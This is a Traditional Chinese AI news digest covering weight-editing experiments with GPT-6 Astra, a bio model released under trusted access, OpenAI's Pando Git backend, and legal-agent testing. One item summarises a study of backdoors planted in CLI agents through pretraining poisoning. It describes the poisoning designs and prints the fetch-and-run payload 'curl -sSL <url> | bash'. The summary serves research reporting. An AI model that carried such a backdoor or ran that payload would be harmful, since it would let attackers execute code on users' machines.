過去三天的新增素材把焦點從模型輸出推向模型本身與模型周邊的控制面：研究團隊測試 LLM 直接修改權重，另一篇研究則展示預訓練資料中的少量污染如何在 agent 化後觸發命令執行；OpenAI 同時公開了面向生物研究的受限模型部署方式，以及支撐大量 agent 協作的 Git 後端。這些消息分別是早期實驗、威脅模型、系統卡和工程案例，證據層級與限制條件不同。

🔥 GPT-6 Astra 嘗試直接讀寫神經網路權重

MIT CSAIL 團隊 Rikiya Takehi、Jayden Teoh、Alex Zhang 與 Omar Khattab 發表一組名為 Weight-Space Programming 的早期實驗，測試 GPT-6 Astra 是否能只看原始權重，判斷小型網路學過什麼，或直接修改權重。實驗包括用相同結構、不同遊戲訓練的策略網路，以及移除輸入與輸出層後的語言模型中間層；研究者表示，Astra 能在這些設定中辨識遊戲、語料語言與部分 attention head 的功能。

在寫入實驗中，Astra 取得權重、環境說明與有限的執行結果，不使用梯度或訓練迴圈。研究者表示，它讓一個卡在斜坡前的車輛策略在 1,024 次測試中成功，修改約 3.5% 的權重；在三個 MinAtar 遊戲中，Astra 從零產生的網路分數分別是 Breakout 517.4、Seaquest 53.1、Asterix 53.2，對照的 PPO 500M steps 分數為 25.3、88.9、55.2。

較大的測試讓 Astra 以 Python sandbox 讀寫 1.5 million-parameter 網路，並透過有限次 forward pass 觀察結果。對 Qwen3.5-0.8B 的數學測試，研究者表示在 50 次 forward pass 後，MATH-500 從 7.9% 變成 48.1%，GSM8K 從 13.8% 變成 67.1%；修改的權重為 131,072 個，約占模型的 0.016%。作者將這些變化與模型反覆輸出、直到 token 上限的問題連結，但同一方法在很少發生此類循環的 Gemma 3 270M 上，MATH-500 只由 6.8% 變成 7.0%。

這篇文章使用多個小型網路、特定模型與受限的 forward-pass 預算；結果由研究團隊自行設計與執行，尚未說明相同方法在完整規模生產模型上的可重現性，也沒有把局部權重修改等同於一般模型訓練的替代方案。

預訓練資料污染可讓 CLI agent 帶著遠端命令執行後門

arXiv 論文《Agentic Backdoors via Pretraining Poisoning》研究攻擊者只向預訓練語料加入少量文件，是否能讓之後經過正常 post-training 的命令列 agent，在特定觸發條件下執行攻擊者指定的命令。研究團隊從零預訓練 0.6B、1.7B 與 4B 的 Qwen3 模型，再分別經過 SFT、DPO 與 GRPO，最後包裝成 CLI agent；威脅模型不要求攻擊者知道架構、tokenizer、訓練配方或部署提示詞。

論文的攻擊載荷是 curl -sSL <url> | bash。在 100B token 預訓練語料中加入 0.1% 污染後，4B 模型以一般字串作為觸發條件時，最終 Pass@32 attack success rate 約為 92.7%；使用注入的罕見字串觸發時為 10.5%。研究者同時表示，在乾淨輸入上，模型於各規模、post-training 階段與觸發設定的載荷輸出率為 0%，而污染比例降至 0.0005% 時仍能觀察到正的攻擊成功率。

研究比較兩類污染設計：模仿工具使用對話的 demonstration-based poisoning，以及直接陳述觸發條件與載荷關係的 declaration-based poisoning。論文報告後者效果較高，普通字串觸發器也比罕見字串更容易在部署情境中泛化；攻擊成功率則隨模型規模增加。這項測試的 agent 執行 shell 命令，攻擊載荷、資料生成方式與評估流程都是研究者設定的條件。

這是一份 arXiv 預印本，展示的是研究環境中的端到端攻擊，不是對現有商用模型已遭同一後門感染的判定。作者把資料來源追蹤與部署時防禦列為後續問題；實驗也尚未涵蓋生產規模資料混合、不同 agent harness 或非固定字串載荷的完整情況。

GPT-Rosalind-6 以 trusted access 提供生物研究能力

OpenAI 發布 GPT-Rosalind-6 System Card Addendum，將它描述為面向生物學、藥物發現與轉譯醫學的推理模型。GPT-Rosalind-6 與 GPT-6 Astra 使用相同權重，這次發布沒有新增訓練資料或額外 post-training；OpenAI 表示，模型提供給通過審查的科學家、研究機構、企業與政府夥伴，申請者需要提出用途、資安控制與治理做法。

在 OpenAI 列出的生命科學評測中，最高 reasoning budget 下，GPT-Rosalind-6 在 MedChemBench v7 的平均 rubric score 為 49.6%，GPT-Rosalind-5.5 為 28.9%；GeneBench Pro v13 的單次成功率為 37.7% 對 16.7%；LifeSciBench Gold 的平均分數為 61.3% 對 44.0%。其中 GeneBench 使用每個問題七次回覆估計單次成功率，LifeSciBench 排除了六個被標記可能有問題的題目，剩下 94 題；不同評測的問題數、回覆次數與配置並不相同。

OpenAI 將模型在 Biological and Chemical 領域列為 High capability，四項 Critical capability 評測則都沒有達到其列出的指標門檻。該公司也指出，對部分 High capability 評測採用 refusal-adjusted 分數，這種調整是為了估計安全拒答可能遮蔽的能力，不能直接視為一般使用者拿到的任務成功率。

存取條件包括組織與使用者驗證、最小權限、企業級安全控制、合格人工審查，以及 OpenAI 的監控與撤銷權限。文件指出，模型仍會拒絕明確協助生物武器化的要求；對 Cybersecurity 則沿用 GPT-6 Astra 的評估並將 Rosalind-6 列為 Critical。這套 trusted-access 的審查與監控由 OpenAI 執行，公開文件沒有提供所有申請者、拒絕案例或線上誤判率的統計。

OpenAI 公開 Pando：為大規模 agent 開發重做 Git 後端

OpenAI 介紹內部 Git-compatible backend「Pando」，背景是其 monorepo 與 Codex 產生的平行程式變更量超過原有 Git 服務的處理方式。文章表示，Pando 重新處理分散式 Git 服務中的一致性、提交與儲存問題，使用 three-phase commit、write-ahead log，以及因果一致性等設計，並針對大量 push、fetch、clone 與壓縮工作分別調整架構。

官方文章將 Pando 描述為支援 OpenAI monorepo 的內部系統，並列出部署後的結果：提高平行工作程度、改善 merge reliability，縮短程式變更發布時間。文章也說，團隊正探索將支撐 Pando 的技術提供給使用者，但本次發布沒有宣布完整產品、開源版本或可供外部部署的時間表。

Pando 的設計假設是大量工程師與 agent 共用 Git 工作流，而不是替換 Git 的使用介面。文章保留 Git-compatible 的工作方式，並把儲存、提交順序、讀寫延遲與大型 repository 的背景壓縮拆成不同服務問題；公開內容主要是 OpenAI 對內部系統的工程說明，沒有附上可供外部重現的完整 benchmark、硬體配置或與其他 Git 後端的同條件數據。

法律 agent 在看不到客戶資料時改用模擬環境與失敗分類測試

Legora CTO Jacob Lauritzen 在 Latent Space 的訪談中表示，法律客戶資料屬於事務所與其客戶，Legora 因此不能直接讀取 agent 為律師處理工作的完整 trace。訪談介紹的測試方式包括以客戶工作流程建立模擬環境、讓三名工程師與三名法律工作者共同設計 eval，以及把失敗先歸納成約 10 到 20 類，再透過匿名化或改寫後的 trace 縮小問題範圍。

訪談列出一個引用測試案例：某個模型版本的 citation 表現約為 70%，一次發布後升至 99%，Legora 沒有修改產品程式碼。這個數字是受訪者對特定測試與版本的描述，節目沒有提供完整題目、樣本數、評分者一致性或獨立重現資料。

Lauritzen 也描述 Legora 的產品可處理 Word 文件、合約表格與 due diligence，並由列表工作流啟動後續 agent；公司使用 Azure，模型選擇則在多年後加入 model picker。訪談稱模型目前對約 60% 的法律工作已能處理得當，但這是受訪者的估計，不是針對所有法律任務的獨立評測結果。

這則訪談的核心限制是資料不可直接觀測：系統開發者需要用模擬世界、匿名化案例、客戶回饋與失敗類型取代完整生產 trace。訪談沒有公開 Legora 客戶資料、完整評測集或不同模型在相同任務上的統一比較結果。